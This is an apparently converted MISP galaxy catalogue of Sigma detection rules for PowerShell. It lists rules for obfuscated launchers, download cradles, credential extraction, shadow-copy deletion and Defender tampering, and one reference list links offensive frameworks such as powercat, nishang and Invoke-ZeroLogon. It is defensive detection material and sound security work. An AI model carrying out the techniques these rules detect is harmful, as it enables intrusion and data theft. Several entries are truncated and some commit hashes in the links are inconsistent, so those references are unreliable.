The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell Module"

View relationships graph

Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 8986. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888">https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_obfuscated_iex.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_obfuscated_iex.yml</a></td>
</tr>
</tbody>
</table>

Malicious PowerShell Commandlets - PoshModule

Detects Commandlet names from well-known PowerShell exploitation frameworks

The tag is: misp-galaxy:sigma-rules="Malicious PowerShell Commandlets - PoshModule"

View relationships graph

Malicious PowerShell Commandlets - PoshModule has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with
Remote PowerShell Session (PS Module)

Detects remote PowerShell sessions

The tag is: misp-galaxy:sigma-rules="Remote PowerShell Session (PS Module)"

View relationships graph
Remote PowerShell Session (PS Module) has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 8988. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_remote_powershell_session.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_remote_powershell_session.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Get Information for SMB Share - PowerShell Module**

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.

The tag is: *misp-galaxy: sigma-rules*="Suspicious Get Information for SMB Share - PowerShell Module"

View relationships graph

Suspicious Get Information for SMB Share - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

Table 8989. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_smb_share_reco.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_smb_share_reco.yml</a></td>
</tr>
</tbody>
</table>

**Invoke-Obfuscation Via Use MSHTA - PowerShell Module**

Detects Obfuscated Powershell via use MSHTA in Scripts

The tag is: *misp-galaxy: sigma-rules*="Invoke-Obfuscation Via Use MSHTA - PowerShell Module"

View relationships graph
Invoke-Obfuscation Via Use MSHTA - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 8990. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_mhsta.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_mhsta.yml</a></td>
</tr>
</tbody>
</table>

Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell Module

Detects Obfuscated PowerShell via COMPRESS OBFUSCATION

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell Module"

View relationships graph

Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 8991. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_compress.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_compress.yml</a></td>
</tr>
</tbody>
</table>

Suspicious PowerShell Download - PoshModule

Detects suspicious PowerShell download command

The tag is: misp-galaxy:sigma-rules="Suspicious PowerShell Download - PoshModule"

View relationships graph

Suspicious PowerShell Download - PoshModule has relationships with:
Invoke-Obfuscation Via Stdin - PowerShell Module

Detects Obfuscated PowerShell via Stdin in Scripts

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation Via Stdin - PowerShell Module"

View relationships graph

Invoke-Obfuscation Via Stdin - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Invoke-Obfuscation CLIP+ Launcher - PowerShell Module

Detects Obfuscated use of Clip.exe to execute PowerShell

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation CLIP+ Launcher - PowerShell Module"

View relationships graph

Invoke-Obfuscation CLIP+ Launcher - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
Malicious PowerShell Scripts - PoshModule

Detects the execution of known offensive powershell scripts used for exploitation or reconnaissance

The tag is: misp-galaxy:sigma-rules="Malicious PowerShell Scripts - PoshModule"

View relationships graph

Malicious PowerShell Scripts - PoshModule has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 8995. Table References

Links

https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/
https://github.com/nettitude/Invoke-PowerThIEf
https://github.com/CsEnox/EventViewer-UACBypass
https://github.com/AlsidOfficial/WSUSpendu/
https://github.com/besimorhino/powercat
https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries
https://github.com/S3cur3Th1sSh1t/WinPwn
https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32baccff75e931ae00554/OfficeMemScraper.ps1
https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfcf4e2d67b626c8cf4404341cfe3d3b6/Get-DXWebcamVideo.ps1
https://github.com/HarmJ0y/DAMP
https://github.com/NetSPI/PowerUpSQL
https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/
https://github.com/samratashok/nishang
https://github.com/DarkCoderSc/PowerRunAsSystem/
https://github.com/daft/hack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1
https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1
Suspicious PowerShell Invocations - Generic - PowerShell Module

Detects suspicious PowerShell invocation command parameters

The tag is: misp-galaxy:sigma-rules="Suspicious PowerShell Invocations - Generic - PowerShell Module"

View relationships graph

Suspicious PowerShell Invocations - Generic - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 8996. Table References

Links

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_invocation_generic.yml

SyncAppvPublishingServer Bypass Powershell Restriction - PS Module

Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.

The tag is: misp-galaxy:sigma-rules="SyncAppvPublishingServer Bypass Powershell Restriction - PS Module"

View relationships graph

SyncAppvPublishingServer Bypass Powershell Restriction - PS Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 8997. Table References

Links

https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_syncappvpublishingserver_exe.yml
Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell Module

Detects Obfuscated Powershell via RUNDLL LAUNCHER

The tag is: *misp-galaxy:sigma-rules*="Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell Module"

View relationships graph

Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell Module has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern*="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 8998. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
</tbody>
</table>

Invoke-Obfuscation VAR+ Launcher - PowerShell Module

Detects Obfuscated use of Environment Variables to execute PowerShell

The tag is: *misp-galaxy:sigma-rules*="Invoke-Obfuscation VAR+ Launcher - PowerShell Module"

View relationships graph

Invoke-Obfuscation VAR+ Launcher - PowerShell Module has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern*="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 8999. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_var.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_var.yml</a></td>
</tr>
</tbody>
</table>
Suspicious PowerShell Invocations - Specific - PowerShell Module

Detects suspicious PowerShell invocation command parameters

The tag is: `misp-galaxy:sigma-rules="Suspicious PowerShell Invocations - Specific - PowerShell Module"`

View relationships graph

Suspicious PowerShell Invocations - Specific - PowerShell Module has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9000. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_invocation_specific.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_invocation_specific.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Computer Machine Password by PowerShell

The Reset-ComputerMachinePassword cmdlet changes the computer account password that the computers use to authenticate to the domain controllers in the domain. You can use it to reset the password of the local computer.

The tag is: `misp-galaxy:sigma-rules="Suspicious Computer Machine Password by PowerShell"`

View relationships graph

Suspicious Computer Machine Password by PowerShell has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"` with estimative-language:likelihood-probability="almost-certain"

Table 9001. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/reset-computermachinepassword?view=powershell-5.1">https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/reset-computermachinepassword?view=powershell-5.1</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2022/02/21/qbot-and-zeroaccess-lead-to-full-domain-compromise/">https://thedfirreport.com/2022/02/21/qbot-and-zeroaccess-lead-to-full-domain-compromise/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_reset_computermachinepassword.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_reset_computermachinepassword.yml</a></td>
</tr>
</tbody>
</table>
Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell Module

Detects PowerShell module creation where the module Contents are set to "function Get-VMRemoteFXPhysicalVideoAdapter". This could be a sign of potential abuse of the "RemoteFXvGPUDisablement.exe" binary which is known to be vulnerable to module load-order hijacking.

The tag is: *misp-galaxy:sigma-rules="Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell Module"*

View relationships graph

Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell Module has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"* with estimative-language:likelihood-probability="almost-certain"

*Table 9002. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd0cdd3742bcfd365f82a9/atomic/T1218/T1218.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd0cdd3742bcfd365f82a9/atomic/T1218/T1218.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fccc6bede207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1">https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fccc6bede207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/psh_pm_remotefxvgpudisablement_abuse.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/psh_pm_remotefxvgpudisablement_abuse.yml</a></td>
</tr>
</tbody>
</table>

Use Get-NetTCPConnection - PowerShell Module

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

The tag is: *misp-galaxy:sigma-rules="Use Get-NetTCPConnection - PowerShell Module"*

View relationships graph

Use Get-NetTCPConnection - PowerShell Module has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049"* with estimative-language:likelihood-probability="almost-certain"

*Table 9003. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Invoke-Obfuscation Via Use Rundll32 - PowerShell Module

Detects Obfuscated Powershell via use Rundll32 in Scripts

The tag is: `misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use Rundll32 - PowerShell Module"`

View relationships graph

Invoke-Obfuscation Via Use Rundll32 - PowerShell Module has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9004. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/psh_pm_invoke_obfuscation_via_use_rundll32.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/psh_pm_invoke_obfuscation_via_use_rundll32.yml</a></td>
</tr>
</tbody>
</table>

Zip A Folder With PowerShell For Staging In Temp - PowerShell Module

Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration

The tag is: `misp-galaxy:sigma-rules="Zip A Folder With PowerShell For Staging In Temp - PowerShell Module"`

View relationships graph

Zip A Folder With PowerShell For Staging In Temp - PowerShell Module has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9005. Table References
Change User Agents with WebRequest

Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

The tag is: misp-galaxy: sigma-rules="Change User Agents with WebRequest"

Table 9006. Table References

Add Windows Capability Via PowerShell Script

Detects usage of the "Add-WindowsCapability" cmdlet to add Windows capabilities. Notable capabilities could be "OpenSSH" and others.

The tag is: misp-galaxy: sigma-rules="Add Windows Capability Via PowerShell Script"

Table 9007. Table References
Powershell Token Obfuscation - Powershell

Detects TOKEN OBFUSCATION technique from Invoke-Obfuscation

The tag is: misp-galaxy:.sigma-rules="Powershell Token Obfuscation - Powershell"

View relationships graph

Powershell Token Obfuscation - Powershell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Embedded Payloads - T1027.009" with estimative-language:likelihood-probability="almost-certain"

Table 9008. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/danielbohannon/Invoke-Obfuscation">https://github.com/danielbohannon/Invoke-Obfuscation</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_token_obfuscation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_token_obfuscation.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Get-WmiObject

The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers

The tag is: misp-galaxy: sigma-rules="Suspicious Get-WmiObject"

View relationships graph

Suspicious Get-WmiObject has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Event Triggered Execution - T1546" with estimative-language:likelihood-probability="almost-certain"

Table 9009. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/datasources/DS0005/">https://attack.mitre.org/datasources/DS0005/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gwmi.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gwmi.yml</a></td>
</tr>
</tbody>
</table>
Usage Of Web Request Commands And Cmdlets - ScriptBlock

Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via PowerShell scriptblock logs

The tag is: `misp-galaxy:sigma-rules="Usage Of Web Request Commands And Cmdlets - ScriptBlock"`

View relationships graph

Usage Of Web Request Commands And Cmdlets - ScriptBlock has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9010. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell">https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_web_request_cmd_and_cmdlets.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_web_request_cmd_and_cmdlets.yml</a></td>
</tr>
</tbody>
</table>

Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell ScriptBlock

Detects PowerShell module creation where the module Contents are set to "function Get-VMRemoteFXPhysicalVideoAdapter". This could be a sign of potential abuse of the "RemoteFXvGPUDisablement.exe" binary which is known to be vulnerable to module load-order hijacking.

The tag is: `misp-galaxy:sigma-rules="Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell ScriptBlock"`

View relationships graph

Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell ScriptBlock has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

Table 9011. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bf">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bf</a> cf365fee2a9/atomics/T1218/T1218.md</td>
</tr>
</tbody>
</table>
Powershell Install a DLL in System Directory

Uses PowerShell to install/copy a a file into a system directory such as "System32" or "SysWOW64"

The tag is: *misp-galaxy:sigma-rules*="Powershell Install a DLL in System Directory"

View relationships graph

Powershell Install a DLL in System Directory has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Password Filter DLL - T1556.002" with estimative-language:likelihood-probability="almost-certain"

*Table 9012. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_copy_item_system_directory.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_copy_item_system_directory.yml</a></td>
</tr>
</tbody>
</table>

PowerShell WMI Win32_Product Install MSI

Detects the execution of an MSI file using PowerShell and the WMI Win32_Product class

The tag is: *misp-galaxy:sigma-rules*="PowerShell WMI Win32_Product Install MSI"

View relationships graph

PowerShell WMI Win32_Product Install MSI has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"

*Table 9013. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfccd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfccd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md</a></td>
</tr>
</tbody>
</table>
Invoke-Obfuscation STDIN+ Launcher - Powershell

Detects Obfuscated use of stdin to execute PowerShell

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation STDIN+ Launcher - Powershell"

View relationships graph

Invoke-Obfuscation STDIN+ Launcher - Powershell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9014. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_stdin.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_stdin.yml</a></td>
</tr>
</tbody>
</table>

PowerShell Remote Session Creation

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system

The tag is: misp-galaxy:sigma-rules="PowerShell Remote Session Creation"

View relationships graph

PowerShell Remote Session Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9015. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fddfcd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-10---powershell-invoke-downloadcradle">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fddfcd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-10---powershell-invoke-downloadcradle</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remote_session_creation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remote_session_creation.yml</a></td>
</tr>
</tbody>
</table>
Extracting Information with PowerShell

Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

The tag is: *misp-galaxy:sigma-rules="Extracting Information with PowerShell"

View relationships graph

Extracting Information with PowerShell has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likeness-probability="almost-certain"

Table 9016. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcd3742bfef365fee2a9/atomics/T1552.001/T1552.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcd3742bfef365fee2a9/atomics/T1552.001/T1552.001.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_extracting.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_extracting.yml</a></td>
</tr>
</tbody>
</table>

Delete Volume Shadow Copies via WMI with PowerShell - PS Script

Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil

The tag is: *misp-galaxy:sigma-rules="Delete Volume Shadow Copies via WMI with PowerShell - PS Script"

View relationships graph

Delete Volume Shadow Copies via WMI with PowerShell - PS Script has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 9017. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

5858
Tamper Windows Defender - ScriptBlockLogging

Detects PowerShell scripts attempting to disable scheduled scanning and other parts of Windows Defender ATP or set default actions to allow.

The tag is: `misp-galaxy:sigma-rules="Tamper Windows Defender - ScriptBlockLogging"`

Table 9018. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdc3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdc3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md</a></td>
</tr>
<tr>
<td><a href="https://bidouillesecurity.com/disable-windows-defender-in-powershell/">https://bidouillesecurity.com/disable-windows-defender-in-powershell/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_windows_defender_set_mp.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_windows_defender_set_mp.yml</a></td>
</tr>
</tbody>
</table>

Suspicious PowerShell WindowStyle Option

Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden

The tag is: `misp-galaxy:sigma-rules="Suspicious PowerShell WindowStyle Option"`

Table 9019. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
